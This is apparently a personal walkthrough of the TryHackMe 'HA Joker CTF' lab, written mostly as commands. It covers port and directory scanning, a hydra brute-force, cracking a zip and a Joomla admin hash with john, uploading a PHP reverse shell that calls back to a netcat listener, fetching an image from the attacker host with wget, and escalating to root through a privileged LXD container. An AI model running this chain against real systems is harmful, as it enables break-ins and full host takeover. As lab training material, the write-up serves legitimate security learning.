> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/ha-joker-ctf.md).

# HA Joker CTF

**Room Link:** <https://tryhackme.com/room/jokerctf>

## Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/zlqxNmDSAsC6yI9Cln8x" alt=""><figcaption></figcaption></figure>

## Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="/files/PzH42iUtPOORratAqnGa" alt=""><figcaption></figcaption></figure>

## TCP/80 - HTTP

**Kali**

```
gobuster dir -u $VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/zAXo1ZeQOgJT63BLKALZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/txcH3wDwhoKY2kHZBM3K" alt=""><figcaption></figcaption></figure>

## TCP/8080 - HTTP

**Kali**

```
hydra -l joker -P /usr/share/wordlists/rockyou.txt -s 8080 -f $VICTIM http-get /
```

<figure><img src="/files/0FFwEydcfIKtpbFCJfPY" alt=""><figcaption></figcaption></figure>

wasn't finding it but should have found a backup.zip

**Kali**

```
nikto -id joker:hannah -h $VICTIM:8080
```

<figure><img src="/files/97ZL9nhMnjh03erSkeJJ" alt=""><figcaption></figcaption></figure>

**Kali**

```
zip2john backup.zip > secure_john.txt
john --wordlist=/usr/share/wordlists/rockyou.txt secure_john.txt 
unzip backup.zip
Password: hannah
```

<figure><img src="/files/S1UzUv1t7vlpd7fN3RaU" alt=""><figcaption></figcaption></figure>

**Kali**

```
cd db
cat joomladb.sql | grep admin
```

**Hash**

```
$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG
```

**Kali**

```
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/OFhYA0d9R8wH4q51Ba0j" alt=""><figcaption></figcaption></figure>

**Browser**

```
Username: admin
Password: abcd1234
```

<figure><img src="/files/EaZT7SypGngSfxSEej8d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gs34OVEz3PTknMBzDCFU" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cp php-reverse-shell/php-reverse-shell.php .
subl php-reverse-shell.php
```

<figure><img src="/files/Lj5lR5cwYQlyF1FTYc6g" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1234
```

<figure><img src="/files/Vu69vE64UhQYJKXiuLhk" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/YsvvixoBrahTmb5xUxgO" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

**Victim**

```
id
```

<figure><img src="/files/z957pQrTlnoOEhAipORi" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
python2 -m SimpleHTTPServer 81
```

**Note:** The command lxd init was to resolve a storage pool area issue, it may not always be needed.

**Victim**

```
cd /tmp
wget http://$KALI:81/alpine-v3.13-x86_64-20210218_0139.tar.gz
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
lxd init
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
```

<figure><img src="/files/fPfGzXyEJgyAXGmrHqjy" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DvoOuxVjZB1UmXXcG5lp" alt=""><figcaption></figcaption></figure>
